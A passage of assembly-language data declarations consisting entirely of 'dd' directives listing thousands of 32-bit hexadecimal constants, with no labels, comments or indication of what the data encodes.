6BF8F7D7h, 0D34C5706h, 0F9270350h, 1FD85AE4h dd 18E61B60h, 0A2B66826h, 7F340A01h, 3E5EBA5Ch, 46246039h dd 4453E4B0h, 0E4C2EA0Bh, 96547936h, 54F40457h, 14493CDh dd 0B2E0D39Ch, 0B8C9ACE2h, 6C102056h, 47363700h, 0AA958D60h dd 2E5A00E1h, 0EEA98E63h, 0A43B51FFh, 0CC047C48h, 0B98F6EC1h dd 1665C0E0h, 40C9B4F9h, 0C6C2F16Ch, 0D62EEA24h, 6F963899h dd 0F354F600h, 152F296h, 161424A5h, 2CD1ECDDh, 94813C50h dd 0A1C0DA75h, 2E003AB7h, 592EDCCEh, 0D6004CE0h, 2DE99289h dd 24D00EE8h, 3859D908h, 9FA024C4h, 2118CD54h, 0C430B652h dd 91D3967h, 0C010AE0Eh, 0C800707Ch, 5F22B415h, 1EA4A3Dh dd 0E99EF3F0h, 8321699Bh, 855B7FD8h, 61B191CDh, 883C08F5h dd 4F31C117h, 9985B2A0h, 7D0C0421h, 1CC306FFh, 0D9E62689h dd 18A70884h, 0D82116h, 958EA130h, 46B0006Dh, 0DB00E9AFh dd 40E1A756h, 5A980853h, 0C2A40018h, 0BDFAF711h, 89CCD8A8h dd 6C11F960h, 30C5029Ah, 22911347h, 0DFFD625Ah, 79B036C0h dd 88010E4Ah, 50345BCEh, 100901h, 0C81CB4h, 0CB59081Bh dd 71186A3Ah, 2C5D7926h dd 62407704h, 280280EAh, 0D70329F8h, 36908847h, 0EFADE0A9h dd 0C5CA3ABAh, 578A97h, 9C806A44h, 83031B13h, 97EFC4CCh dd 6E6DF070h, 7DCB2A8h, 77FB117Ch, 6FB9D196h, 2E71937Ah dd 2D000EBh, 0A00E1E32h, 1A1B8200h, 3633EB50h, 0BF70266Dh dd 8A7C2448h, 0E00392h, 0E0866628h, 0C1BF53C5h, 84B00B1Dh dd 445B3810h, 8283BD00h, 522F6AC4h, 0EFBC0EBFh, 53E09D34h dd 8F4FC516h, 0F472B400h, 0E9E6B783h, 97B00032h, 33ADFC2Eh dd 0B0A81254h, 0CE608A67h, 5B6A1890h, 827AAEh, 0E2B864DBh dd 167B215Eh, 0F51FEB16h, 0C152C441h, 300019BEh, 60924B63h dd 854D5F8h, 3F03C3C4h, 625E8E1h, 6621001Eh, 474133DDh dd 0C6007AADh, 57264F73h, 49559215h, 2E1494F1h, 0A524AD84h dd 3C660031h, 6AAD1AECh, 17D03B24h, 1184271Fh, 0B58026DAh dd 3A6D3EFh, 92B3F85h, 0B08FCC49h, 9CF13B38h, 20A4C901h dd 0D18B39D0h, 88D72990h, 212544CFh, 8311B77Dh, 0E41F130Ah dd 22539142h, 98D4A80Eh, 0BA84512Fh, 0FE0F97Ch, 449F3607h dd 8960775Ah, 1CD1A486h, 80F98CC2h, 33EF4160h, 2F00F327h dd 5A17616Bh, 57A1B6h, 81E471F9h, 3D6EE72Bh, 0ACF0C90Fh dd 53F280C7h, 7FDEE850h, 13A403E4h, 0A1DF4C6Ah, 758FA3A8h dd 69608017h, 9F8D00BAh, 0B555F6F3h, 0A4944A00h, 0BE6FC3D3h dd 27680105h, 93725036h, 0CEC8FC87h, 0C063CD0Fh, 75FB8006h dd 70B989F8h, 86CC00A9h, 0EACD4F16h, 5B0054E9h, 0A7D58D67h dd 1C0F6659h, 0C2802521h, 46A47A48h, 0DFA2D0A0h, 9C00681Ch dd 0DD11A55h, 1E63246Eh, 72FE161h, 9351868Dh, 0DE88353Ch dd 131880FEh, 4C4004E8h, 0FCE8C737h, 6B1AD039h, 2A00FB5Ch dd 35EDB8FAh, 939B99h, 37ABAF5Eh, 0ADC8C631h, 0EA001DF4h dd 76D623D3h, 0F4972C5h, 0F92E6A26h, 0D8A455E0h, 57006374h dd 0C9D73C5Dh, 0B0D7E1Ah, 0BAF8931Eh, 87FA0800h, 4B0009D0h dd 8C1C4659h, 1A1138h, 0FBBEEAA3h, 9A93B440h, 0E3BCAE09h dd 8963001Fh, 3F2EA96Fh, 4C074755h, 0F0CEFF46h, 8453B09h dd 360E9778h, 83B77A62h, 0E03DFD77h, 334805h, 1441C18Ch dd 1C28B557h, 755E6E3Bh, 0A604B100h, 68718593h, 2D4B097Dh dd 7800D1D2h, 0CE2532F2h, 581C2E1Ch, 0A1A65780h, 0EDBBEAh dd 72FB9DE1h, 521E1F21h, 18AB4000h, 6EEC87A9h, 0F3CD00F9h dd 0E0BBBAEh, 5A0071C3h, 0A10191B0h, 7E7A15h, 58B89985h dd 189D807Ch, 0C44AC300h, 0B56817CDh, 118D3DCAh, 819BFA9Dh dd 49D53DDEh, 3F9C6040h, 93172370h, 0DA00EAFCh, 64BA3CBEh dd 0E110727h, 71FA96B7h, 0C8E11FA1h, 710C58E7h, 1010933Dh dd 0BB60030h, 0EC5C7E84h, 7F73ACF5h, 0FDA0E57Ah, 7D00B724h dd 0D027CF76h, 7DA73749h, 2EBB0F6h, 0EEB15956h, 8EC0BE2Dh dd 0E4E18603h, 870257F5h, 0D1FF4046h, 0EFC807Ch, 0B83E9Dh dd 5229484Ah, 0AD935B4Fh, 20670800h, 8C222162h, 12BF78CEh dd 7A580Fh, 439DAE54h, 780090D5h, 0EC2D5B76h, 0F4141Eh dd 0E6C702A1h, 54E6864h, 77793300h, 7248F0D6h, 0DC460094h dd 0B302C6B2h, 6D70A068h, 3B555A04h, 948087DDh, 7CB1CFh dd 4FC2CB2Fh, 8F174CB9h, 4E912400h, 0B5896A19h, 78B80012h dd 4F1EEAC9h, 0A800278Bh, 9B130F4Ah, 524088h, 86990E58h dd 0F095D592h, 2FACFC00h, 0A9374AC0h, 0D4D900E8h, 1D01429h dd 0DCEC33D1h, 73C91600h, 885B277Ch, 2BEC3812h, 8B57ACh dd 8489260Ah, 0B2000139h, 0EB944FD1h, 0ABCB6A8h, 5E8EC8A1h dd 0F3CA00ECh, 8ADF4D0Eh, 8DBE89C3h, 9470988Ch, 85EE001Eh dd 27A65DF3h, 590046F9h, 0C637D53Ah, 7CD690Eh, 0B49BCC30h dd 2063407Ah, 9A07CBDFh, 0AA38668Bh, 5FF8C420h, 19520EC8h dd 787681Ah, 82FD2355h, 8ABC59A8h, 0EBB1B00h, 28368423h dd 65CE095h, 318453Eh, 0D90320BAh, 0CB3840C4h, 791000BEh dd 0E1565094h, 9B26D4D5h, 0B3006C23h, 0F5978837h, 54664CC1h dd 9F410830h, 2F4C369Bh, 0F4EC3D15h, 50B61802h, 410CB36Bh dd 4FF07528h, 75AB772Fh, 864B0040h, 0D8100DC6h, 0F201EFCBh dd 0DAF8459Fh, 0AA20598Ch, 316300D4h, 1C96A1CFh, 9C00DFA8h dd 484FDEE7h, 19438B5h, 601F774Bh, 0DC35E181h, 400031CAh dd 0E0E9CD3Fh, 32A759h, 2501039Fh, 2EB835ADh, 0D8FF2600h dd 4F085722h, 93920E36h, 342494B0h, 0B43881A3h, 0B6EDC09Ah dd 0D0D11500h, 2163C77Ah, 174A002Dh, 5FD30B3Eh, 7C39878Bh dd 2F2E8044h, 102524FDh, 75C4B863h, 167EE5Eh, 1CD57EB6h dd 0EC2AFDE9h, 1601A220h, 0F8AE38ECh, 3FE40FF2h, 9E6F0346h dd 8EEA6787h, 369415D8h, 0D4C82E00h, 9BFCC277h, 41E4007Bh dd 3CF1A2A0h, 3BECFD99h, 0A1445E07h, 0A4504F07h, 186BB833h dd 82D34779h, 6F02CDECh, 85FC94DDh, 0E9E26020h, 8C5F007Ah dd 0C5AA693Ah, 0CA788A86h, 114475Dh, 21460D06h, 70344B51h dd 0AEC70F04h, 0E2C0CACFh, 2E439212h, 2A6B7303h, 0A8809DC0h dd 0F0CF2F7h, 0CB3136EEh, 0D5B761E0h, 34266472h, 9A809C29h dd 3DAC74A8h, 3768092Ch, 900058D1h, 7276325Fh, 7B35CA1Ch dd 0DF12B780h, 269066h, 2BE677D8h, 0FB91DEA7h, 2E150300h dd 0DA74407Fh, 0DF1F5837h, 42FE7A05h, 96F482F0h, 6980A4E3h dd 4A00FDB8h, 98D3A04Fh, 502CE39h, 99CD796Ch, 3BC40034h dd 734888E9h, 7CEEAF03h, 0F0F128F0h, 7B4F41Ch, 665C2FE5h dd 80BEB433h, 2DD9030Ch, 9463EE26h, 0A44FA200h, 17107Ah dd 564CF4D8h, 0CE4A9B4Bh, 1BBC465Eh, 0C1DDD900h, 5AE68A07h dd 8B605D00h, 209D99B3h, 90BF004Fh, 16C888DCh, 3DE81FF7h dd 0C1915218h, 4530411h, 6D6CE81Ch, 0DC09C097h, 0DFF2F560h dd 0D431AC00h, 11D10ECBh, 4D5C0132h, 49C7130h, 0C4D03196h dd 1B01E4D5h, 0EA793A25h, 0C7C4BA6Eh, 14FD002Eh, 5238B106h dd 7A00AFACh, 4A346D5Dh, 2E1FF80Dh, 30D49951h, 9B4371D9h dd 1011FE00h, 1F3DD769h, 1C7600B8h, 0E36ACB70h, 0A4FE792Bh dd 0DF9E1A00h, 0A0868C4Eh, 78CD00E7h, 7FDAE0B4h, 0A700DC87h dd 7D16C5FAh, 383462F8h, 3C0035D6h, 804F3288h, 510422CDh dd 6A2C42F3h, 747638C0h, 17FC7EDDh, 4AD28C6h, 2030157Ch dd 1CE063Bh, 0ABB79860h, 70AF04AEh, 0D203A7CCh, 0A87D082Eh dd 5F679A40h, 0E4853FE0h, 0D5501F00h, 75B5CA84h, 6A211211h dd 0EB9881CBh, 625024ABh, 4A5820F6h, 0B0072DCh, 0E22E8D55h dd 418D3C0h, 0E699EA8Bh, 0F30CC0DBh, 5B0EDD73h, 0FE02C23Bh dd 0CC61A200h, 67AA62h, 25A550C7h, 2718EDD5h, 0AB716407h dd 9B90E2BAh, 1E8E4852h, 455B2F86h, 0C1D994C7h, 1104F5F4h dd 0DE0051BAh, 110F81D1h, 9DE24Ah, 7B7607Eh, 2185051Ah dd 9E3A29h, 0DD5787EDh, 9C0015BFh, 12B0B6EBh, 27AA561h dd 0AA1B08EDh, 0F6632D41h, 221A4690h, 0FF00B372h, 59D1E6C0h dd 0E9B017h, 9A792D9Bh, 0C6ACF66Bh, 0C216EF0Ah, 52079A69h dd 7EC32AD6h, 2268B807h, 255900D2h, 5BA63646h, 8D704BA4h dd 0AD988800h, 29B585Fh, 82781F22h, 0D9FF410Fh, 346B8ADAh dd 0E098BFB8h, 0C7F89900h, 323C671Fh, 2177B60h, 0BADD697Eh dd 15E3E1A4h, 1DAED9D8h, 0F800DB7Fh, 2B425F5Bh, 849F9Bh dd 0C229DDE9h, 0DB25A6E2h, 0BFACF00Ah, 0F026A0B1h, 40595C0Eh dd 0F308CC28h, 0D8074C46h, 4000063Bh, 69E2F85Bh, 1896B9EFh dd 0E0008020h, 8C3243E1h dd 1C119F02h, 833E9919h, 4F80B3FBh, 0A266C3C0h, 0BC0AC01Dh dd 9A5E2B41h, 1C60E5B8h, 388F0026h, 77AF211h, 2202F512h dd 2B4B503Eh, 2F44405Bh, 1E450EA0h, 0C3E1B2FCh, 0F1E27C38h dd 0C7A13005h, 0F1020872h, 3E07F629h, 26BCE925h, 388020h dd 91F8FECAh, 8DFF6CDCh, 8AB60D02h, 50ABCDD5h, 0E46B7D38h dd 0A5D70380h, 362658B4h, 38D34D98h, 3BE88C48h, 0F1D00D20h dd 16E03070h, 94F70109h, 8F61DF4Fh, 577020F5h, 0E95EE500h dd 43DA95Bh, 0FC98F27Dh, 0FA200ACh, 934EA01Ch, 7C24B724h dd 0D01FA491h, 0A53054C3h, 0F4079898h, 25AC03D9h, 0CC44C360h dd 0D440EAA2h, 1009112h, 3CFA1D72h, 59A7A2h, 0EED42A7Bh dd 0C5F30F7Eh, 0EDE22C0Eh, 0BF63203Bh, 765A2Bh, 28061C1Bh dd 0A7A3C49h, 0AD3EDA00h, 2462F997h, 0E6A90195h, 9E868DD9h dd 7D37868h, 1C80FF29h, 6FAC2479h, 4F790516h, 5EC20033h dd 2F81D2FDh, 0E2717701h, 3B65C1DBh, 0E405B440h, 99360776h dd 0D0B0D7F5h, 618C1926h, 604FB78h, 0DE59BD60h, 8FEDBC80h dd 2AE035Bh, 16483719h, 10FE60D0h, 14EEFC2Eh, 0A3E8003Fh dd 0BCA775F2h, 0C5171E83h, 0A497C232h, 30C03CF7h, 213B3F38h dd 1098D94Ah, 8F005BC1h, 2F9B5D34h, 2A0FE6E5h, 801AFFF2h dd 5F503DE9h, 0B0C6E018h, 14733Ah, 6A4B3CB0h, 0A36D8C8h dd 7159A90Ah, 0EA00F866h, 954EEDB3h, 718C7D74h, 0CAAD262Eh dd 0C42180B4h, 0A3FD7EBBh, 0FA4DE200h, 0B4A954C0h, 3D7C3807h dd 0BD46580h, 0BBCA0CD2h, 844FE00h, 0A3287DD9h, 0E3E5818h dd 39196E24h, 7A03BE05h, 0C130810Eh, 866BD89Ch, 617CF600h dd 958D3BE0h, 0E7390A65h, 1804918h, 0F1306F4Fh, 8CA0C0F3h dd 0A700B275h, 1F76ABD8h, 78252161h, 0D3D42C87h, 6CA502FBh dd 4C40EBF2h, 9E077744h, 0A17CCDAEh, 7107C990h, 0E0BC018Fh dd 6E553FA7h, 0B98DE8AAh, 43AE511Ch, 78AFF8C0h, 7AB72353h dd 93E0096h, 9233418Bh, 2749951Bh, 40182C1Ch, 192BFE60h dd 2FDD0058h, 0C9F93F9Eh, 27032DE7h, 581DEB6h, 2C31B00Fh dd 96EE0106h, 5982B91Ah, 1423DBh, 0F9DA29D5h, 0F3F14B7h dd 384374B3h, 3A900F12h, 0CE131BC0h, 0BF003CE5h, 0B75ACADBh dd 1EA8192Fh, 26AC5D7h, 0DF409123h, 0D6925F40h, 2AF3DC00h dd 5B3E0104h, 4DE61D1Bh, 5645D55h, 8008A074h, 0DFB9F20Dh dd 6D0DAA00h, 0D0414B4Ch, 18E4A4h, 3142AC21h, 518C5602h dd 0D4BD1926h, 98B5CB07h, 0DA330520h, 66490076h, 828BA43Ch dd 0C7002B7Dh, 0F520BDE0h, 0D7C6ECh, 9713E249h, 5A4F0C84h dd 153F0CB2h, 8B2A8E0Ah, 0D4413311h, 300EBDC3h, 4EC5D900h dd 0EE42682Ch, 0B2F62Dh, 3A90839Dh, 2600E950h, 4F36032Ah dd 818653h, 761F0748h, 1655F956h, 0ECB449h, 3AA01C5h, 7DE4606Eh dd 0DD0E1ED5h, 404A9371h, 61AD4F90h, 6D0CA118h, 1927C9CFh dd 2E1D26AFh, 0AB5B00C9h, 975950B2h, 41D7B607h, 58B02AE9h dd 3248A9Eh, 0CBC2218Ch, 77B9361Ch, 0D122D46Dh, 9BB32E00h dd 5583B4F8h, 0A378003Ah, 0F234AC86h, 0B9005B7Bh, 2A24CC2Ch dd 1CA4BBh, 7E67A144h, 745339Dh, 84524614h, 47930298h dd 80F104BCh, 0ACA95DE9h, 0BD6100B9h, 0F69437FAh, 0CE753F55h dd 0A2597B00h, 108D2D3h, 0C8DC00D4h, 45FE4FFFh, 0EA016C13h dd 0A847393Bh, 68F683A5h, 0FC99AD4h, 0DC01EC7Ah, 3C2AC0A0h dd 6A071509h, 4C0F6393h, 0AB533AA0h, 739A0724h, 0E07C84FEh dd 9DDB3287h, 0BB92250Eh, 182300A2h, 5FFB04h, 7809EEE4h dd 165136D4h, 1B15500h, 0B91EA3C7h, 0A52B3A70h, 3910DA6h dd 24851480h, 0A46EC0F0h, 7BB8E001h, 6D579F45h, 23CCE9E2h dd 8C2020EFh, 3AE47348h, 19E09A6h, 0CC884012h, 80A73084h dd 4B1C03D9h, 0F519FC1Dh, 431CBB26h, 59FF0880h, 54024438h dd 7F1C0Ch, 0BD7A9A47h, 0F9822219h, 48FB3637h, 3D496D80h dd 0A9602DFFh, 0B3DC0Eh, 0DC6CC012h, 0D8A05FE0h, 851FD12Bh dd 66C0B5D0h, 26CDBF23h, 29E00AC1h, 47B86584h, 9BFA00B9h dd 5A147FACh, 994D07h, 8201D1A8h, 1CDBB90Eh, 40AC71A9h dd 0B80FFFE7h, 0F80F812Fh, 0C0C04DDCh, 0B1A86132h, 9E24098Eh dd 8E0041A0h, 0DF68A109h, 3191B207h, 3040A696h, 0A14D328h dd 4D6E49A7h, 0BEDA0780h, 0B864B037h, 2FFEB22Eh, 0F5E3500h dd 6BAA0C4Ah, 656600BEh, 0D54E885Dh, 0F60ED1C9h, 407C9A94h dd 1395E4A5h, 0A4A20ED2h, 0C8A017BBh, 84193CFEh, 0CC820E01h dd 0AE641DF5h, 1F4EA6FCh, 0C701B59Dh, 70E32B7Fh, 0B327BDD0h dd 72F83600h, 76BA90C8h, 41FB0559h, 0C016B251h, 94199108h dd 0A0C0BE03h, 0C9D0D4DBh, 0C050AB34h, 3BBFF547h, 0E0066C2Ch dd 8E584C0h, 44214261h, 0EDE9BFE3h, 5EE9C0h, 15FEF3D7h dd 0A0F61171h, 0E8CBEF14h, 0AB2604C8h, 34884EA1h, 1411F870h dd 0F8E64683h, 83F0D19h, 0E32180D4h, 759B118Fh, 0EE4A0C6Bh dd 29588403h, 0C0DFB040h, 0E0D58B29h, 84060441h, 8CDDE1CDh dd 0AA551420h, 0CA8038A7h, 0D6468511h, 91FD0587h, 7DB68011h dd 1021005h, 6DC1CDBBh, 11289DF8h, 761B80B7h, 604E8662h dd 0D1AD19C5h, 3C003BE8h, 0F7C6C90Eh, 50A10417h, 3E84C0A5h dd 26003AFCh, 0B184022h, 90017B2h, 0EFCA8153h, 0EA9A161Eh dd 26670083h, 8EDA4068h, 0D00046C0h, 7F9FA74Dh, 9D7B5D8h dd 0B4CAE510h, 0B7179680h, 2D00EC04h, 0C95B0D4Eh, 0E8B0E343h dd 5EFC00DFh, 0D614ADEAh, 0D0C02C70h, 0EDEB4F25h, 17D7002Dh dd 0A0B24A44h, 1470AF0Bh, 4EF0640Fh, 54F16084h, 33AC2DAh dd 2DDEB40Ah, 8009BB7h, 239E44Eh, 37734Ah, 93C21814h, 0D9FFD6C6h dd 1E1A8E03h, 210A3Eh, 0D120569h, 0D46C63FAh, 0DADCA407h dd 22533EACh, 4C70876Dh, 6F2DFh, 1DFD9B6Ch, 0CB8F9535h dd 715C290Fh, 60005F0Dh, 2859041Ah, 0C2CF004Eh, 5A8454AAh dd 10C14D68h, 0E3AFFE38h, 7880F021h, 7F8C0E17h, 55004122h dd 7197BDA6h, 0EB48826Bh, 3D4C06E8h, 4BB04292h, 0A3E5AB30h dd 4E2E3A1Eh, 2C9A803Dh, 0A15442A4h, 71370082h, 0EED93415h dd 8D014E2Bh, 12EB6298h, 94403A66h, 3FA1CC0Ah, 1B00EC88h dd 91C79293h, 0E7005BCBh, 832B3CDBh, 0CABCF9h, 0DD1C85C9h dd 6F85490h, 0F796C400h, 0CFECEDB7h, 205D00F5h, 684AD4D2h dd 30E883E9h, 5720F960h, 1EF528h, 0B809AA4Bh, 0A1C5607Eh dd 0F4ADD52Ch, 0DC2B0100h, 317B46Ah, 58CEC0Ch, 0FEFB5EB7h dd 0D7034078h, 5FC90B5Ah, 78E8C066h, 95D1E73Eh, 52CC2180h dd 0F332860Bh, 0A7B58801h, 0E3010756h, 0A95868D7h, 91465E2Ch dd 9FEBB60Eh, 0C304C647h, 4810B469h, 9C0AE83h, 0E5FC40Bh dd 9222E843h, 0B02DD07h, 49C4BB7Bh, 0EFC83F80h, 9A1800E6h dd 6CEAB468h, 0F80F53DAh, 0A028A12Ch, 0B60F91C3h, 0F7380010h dd 0D1194AE3h, 0E2004DF2h, 0EE5D53C6h, 3AFE7C3h, 0A45F7585h dd 0F9F02574h, 2100C6D1h, 9BBDA313h, 7BB99802h, 578300E6h dd 0F845747Dh, 4A789A1Ah, 59A67600h, 298D31D9h, 784B0999h dd 6805038h, 832F62FAh, 0C200D471h, 0FE9E2B06h, 2EFC0878h dd 13E48D3h, 91E2412Fh, 43A8F733h, 8F00186Dh, 0ECE85C3Ch dd 7266F34h, 0CBAE552Ch, 0D105777Ch, 0EC196B82h, 0FA00BBD6h dd 313ECD86h, 3CCEA16Eh, 7A7C8E0Fh, 0F9C40012h, 0D329A9E5h dd 2190878Ch, 0D1635E00h, 2F8D53CEh, 20121888h, 0D4B529E6h dd 0F73C080h, 37A06C91h, 0F11BEA80h, 7405B766h, 9DA9FC60h dd 43180F80h, 7776B9h, 0D1EF9FF7h, 0ACAEDD46h, 693AF900h dd 0CFEA0D87h, 5EF21CA0h, 0A402C06Ah, 0FDC44144h, 0BF705B00h dd 0F360E76Fh, 21760084h, 0A9883BF2h, 19004908h, 91998BDEh dd 0C201A2h, 0DBE81C29h, 0CEC60EFCh, 87706601h, 0BDDE494Eh dd 0BE361080h, 0E9E65833h, 9A54431Fh, 5890A114h, 0C05700F4h dd 0BF7D5E31h, 0D96F05CEh, 8010A8BCh, 1E9FC1A9h, 0E408AA00h dd 2B3836FFh, 58920011h, 47681BCFh, 300DEB3h, 7873B5BBh dd 67EB07h, 0E6967952h, 21D90FE0h, 5D4D2700h, 2DDAE36Ch dd 1F5878E4h, 0C0DB810Ch, 0CA4EF81Ah, 0D301821Bh, 8F646BD2h dd 0A0FFC002h, 3D87E73h, 5ED139C7h, 0D3881DE8h, 6D001B42h dd 9E4912A1h, 46199Bh, 0B467529Dh, 81D5E6C3h, 98E0A260h dd 34894Bh, 0F07BEFE2h, 0D9CC094Fh, 0C658CE00h, 7DC1F732h dd 0A1AA00EEh, 0E881E07Fh, 8F003CF8h, 0C354A5D6h, 1F64CF51h dd 85188234h, 6C2544h, 0A91B2CD8h, 4303FE80h, 17CFFAEh dd 6D8F801Dh, 47631EA6h, 0D9BEC0A2h, 0A76BAC5Bh, 6E773607h dd 900051Ch, 0E17D40h, 7EE7FB94h, 0A2EAE961h, 85796D1Ch dd 9DDEA000h, 12B4356Eh, 3B675A4h, 6C013A68h, 0E111BDA8h dd 0FC40232Eh, 0FCAC6A00h, 72F75055h, 0DF3900D9h, 8537D5F5h dd 0C1072D18h, 67FA9F9Eh, 0CBA677B0h, 0C24800B3h, 5CCD9AD0h dd 502A2E7h, 3B160681h, 0E8A2C3C6h, 0E653458h, 0E72A147h dd 0E67DE860h, 3A005FF7h, 75E54EBBh, 0F6788828h, 4B30F729h dd 184F67A2h, 4E11E114h, 15DC40C6h, 0C754515Ah, 83F4659Ch dd 98313503h, 0B8C3C2EFh, 342ABCh, 0A6A038EEh, 0E92887A3h dd 0D8822C24h, 6E79B07h, 919A1B30h, 0C15E00D6h, 0B8FCC417h dd 0F80097BFh, 61FA9279h, 0E5D465h, 33F14439h, 47758857h dd 9BA13000h, 6D62B645h, 0E8BE03FCh, 8AB796BCh, 0E2ED200Eh dd 34F66320h, 7A22A8A3h, 0A6E300A5h, 1FA47BEBh, 0FB07514Ch dd 0B929FEC4h, 988566h, 0FAE51C7Dh, 0BDF65DBCh, 9B00C890h dd 3B2DC1ECh, 0E91DA8h, 7FA36DA5h, 0AC5E6564h, 0F9E30800h dd 6B3D9581h, 0EF290DFCh, 0C550863Eh, 0C04B1Ah, 72A0BC20h dd 10A71CFh, 76FB5B28h, 40B5E24Ch, 0C45F2F93h, 2251F401h dd 3F11A2EEh, 0F92A30h, 0ED9697D6h, 1A53F629h, 0B600E27Bh dd 0BBF4572Eh, 37BCA9h, 2B89AEBEh, 0BF6C54F9h, 9AAD1D01h dd 3A6F02FAh, 0E476AF30h, 90B403E5h, 4D98F324h, 15676CF0h dd 0CAA93F07h, 0BC00AC0Ah, 0C081AB20h, 755041C8h, 0B00003C3h dd 4D95A61Ch, 0E6D1477h, 293C0D93h, 8BA0A920h, 0A899BBCAh dd 6B13B00h, 91088h, 0E84E627Eh, 9CABFEF7h, 15AC2C00h dd 342D4A73h, 0E1C7005Eh, 855D1637h, 385006DEh, 4700CA98h dd 0ED78B65Fh, 7289F884h, 0C0327308h, 0F0BBEE21h, 0B0A882DEh dd 28919B2Bh, 0B93958h, 82F6A30Bh, 956904EFh, 5B176402h dd 6071809Eh, 0E14AEB0h, 6EFF4B0Ch, 25803309h, 868764EDh dd 0DC8D5D26h, 0C580E300h, 978CB8h, 0BD5A33D0h, 9D1F3E8Ah dd 0F3E5FB00h, 7CB324CAh, 0B030C08Fh, 0F61C810Bh, 54AF2224h dd 6F625E00h, 58F8571Eh, 131238E3h, 0B6F0424Ah, 0C0A26A16h dd 4C441E86h, 1EF05E49h, 500797Ch, 4CEB2ECh, 0D9CA00FCh dd 2A5857Bh, 4A00B5EFh, 5E62BC7Eh, 4C2915h, 0ED14D237h dd 0F7D7DB7Ah, 0BB7C4579h, 9FD69607h, 3CB0088Ah, 581EB4CFh dd 4600EB6Ah, 6C10470Ch, 0BA00A9D5h, 985C73E5h, 4EA7A3h dd 99F83603h, 0CC0F3D47h, 7DD0D459h, 6991B000h, 0BB065DF7h dd 25EA0095h, 0F0855305h, 0D300AF36h, 3F7198DAh, 7703D0Dh dd 0BECFA20Ch, 1EA68018h, 4400A0B6h, 0A88B57E3h, 7808674h dd 8E31BB98h, 4FB781B1h, 1E1081D5h, 5B7972B2h, 92D6E2E4h dd 16371BCh, 32B340D0h, 0D0E3530Ah, 1E0074FFh, 41A2B83Eh dd 7E580Dh, 2ED2F563h, 88193284h, 500F677h, 9A07744Bh dd 6F2BD897h, 7760305Bh, 0D3036AD5h, 8C702E01h, 3146A506h dd 60243BD0h, 5BFA788Fh, 490597CAh, 23366F08h, 0A0330C0Eh dd 0B1D62F88h, 60FC0090h, 57F849B7h, 5E3A1654h, 3F3C0070h dd 7D841AC2h, 0A2BE007Fh, 0DC95CDE3h, 365046D6h, 990069F2h dd 0F18B53A4h, 39FFAF30h, 458025C0h, 40677B24h, 0D2E882E4h dd 0EC630404h, 54C0ACB0h, 644D46h, 354FF88Bh, 7AA16288h dd 3695BD1Ch, 5FFF740h, 9B94DA3h, 4E3592FEh, 16AF00FFh dd 0EC278C57h, 1CED00DEh, 84ADAF73h, 9F0123D6h, 74A7A496h dd 0E980D792h, 3C454CE4h, 1A1211EDh, 0AE002DB3h, 74676B18h dd 0D7062E87h, 0D5C49EE4h, 7CD8E5h, 11A85F3Fh, 8ADF4005h dd 8B5D010Bh, 98180014h, 30F10D37h, 0C309E4Ah, 5400D7B1h dd 33A9771Ah, 213EA08h, 0F7636FEEh, 263B907h, 11129100h dd 0FFE91417h, 8E1509AFh, 6B00FCD5h, 0A7736E7Ah, 0C3F44D07h dd 20E0429Dh, 72C4F1Bh, 415A9772h, 8D49AC92h, 0A7754207h dd 32613FB1h, 0C980C0ADh, 46E03653h, 0D502BF07h, 85769E14h dd 0B078407Fh, 234C4C39h, 0A4022Ch, 0F188DDDBh, 7407CA64h dd 3A70C9E9h, 0C19B91D0h, 444E5922h, 401C9224h, 6125C440h dd 2FD0B48h, 0F34EA979h, 0C69CA0ADh, 0E8FA57h, 6F39843Eh dd 0C2C70C69h, 1EFD6100h, 7718D62Ah, 87F70E57h, 0F0039694h dd 63F0433Fh, 0F00E965h, 85293807h, 0AC3CAEh, 4CBFD5D4h dd 233E7A3Ah, 0D760AEAh, 83009FF8h, 19074AEh, 3EFD558Fh dd 62007920h, 9D2AC571h, 80403D5h, 91403E7Dh, 0F4756980h dd 983C00DBh, 0C6FF1E2Ah, 3E670878h, 0E8F01D11h, 3A69BB1Bh dd 1931DD31h, 83C6B308h, 0E8DCB720h, 3481F062h, 37A80659h dd 901B2E84h, 283BBC0Fh, 7E61783Eh, 32860173h, 0C6BAFE66h dd 0D309989Fh, 74A45E21h, 660B2E86h, 77AF0702h, 5D899029h dd 0E50102FCh, 0EFB8C61h, 0B88503F4h, 2177C6FEh, 0C0E8F358h dd 3343C1BBh, 875710h, 0B2E8DBB6h, 15BBC04h, 5FBBD879h dd 60440265h, 5828CFEBh, 0A900AC37h, 85F130E6h, 57DFFDh dd 8AFBE74Fh, 53366ED8h, 0E2EFA80Fh, 908260E0h, 859ACBh dd 3F6B795Ch, 89C33425h, 8AEFA300h, 9CDAA64h, 6E68002Ah dd 9D59C1A7h, 163C74E9h, 91A18290h, 0C0463835h, 11A3916h dd 73CF9AB4h, 0D08C2C19h, 46F890F0h, 0F647C3Ah, 0E3F766A1h dd 98FDF2Fh, 287F9918h, 3B1D2480h, 0C700F4E8h, 150AD9A7h dd 0C97206Fh, 994A905Ch, 6A006668h, 1E3E61F0h, 3AC7794Ch dd 421854D3h, 43332096h, 0D5003971h, 0C71D45FAh, 194CAA88h dd 0A82E3C71h, 8C3C4082h, 0C62C7F9Fh, 8E1FC80Ch, 6871F9C0h dd 0C0466F13h, 7173F71h, 960653BEh, 770B501Eh, 87C10C20h dd 72188DDEh, 148B718h, 33864DB0h, 7A1829CEh, 0C2B20E0h dd 0C80F30C2h, 274700C6h, 0EE18865Dh, 0F840523Ah, 0BA6079Fh dd 0F023D87Bh, 0FF9CD35Eh, 1332B116h, 745DC500h, 0DD6DD4h dd 0EE5F6F71h, 0E34EF091h, 1F0082ECh, 55B4849h, 95B952h dd 0F25364BAh, 66225479h, 0B24E2A00h, 9C0A1B8Bh, 0B1240214h dd 5815B1Ah, 52356560h, 0C72E9700h, 0A563EC48h, 0BDECE9E2h dd 54D0011Fh, 4C9746A3h, 94A0DB7Ch, 7B00BB44h, 0CA1440E9h dd 0E495F63h, 0F479DC9Eh, 74B4378Ch, 2C5D7106h, 360BB5Ah dd 88DFF87Fh, 6EE80F49h, 0C5F29485h, 9900F1F4h, 183DACCAh dd 0F45CD40h, 0DBA39CEDh dd 7D1C5A80h, 1F01B387h, 0F79F3F54h, 207015DCh, 92AE021Dh dd 2E2C1A81h, 0C05702C0h, 86FEBF36h, 0FC7A08h, 4B176D88h dd 0EF2332F2h, 0A1832E00h, 0AFC686E0h, 0B4B00CA6h, 0AA8086Eh dd 0FA09F97Bh, 0CB6A15h, 0DFBF1BB3h, 0C2E43051h, 0EFAD9750h dd 79763Bh, 0E0DE4136h, 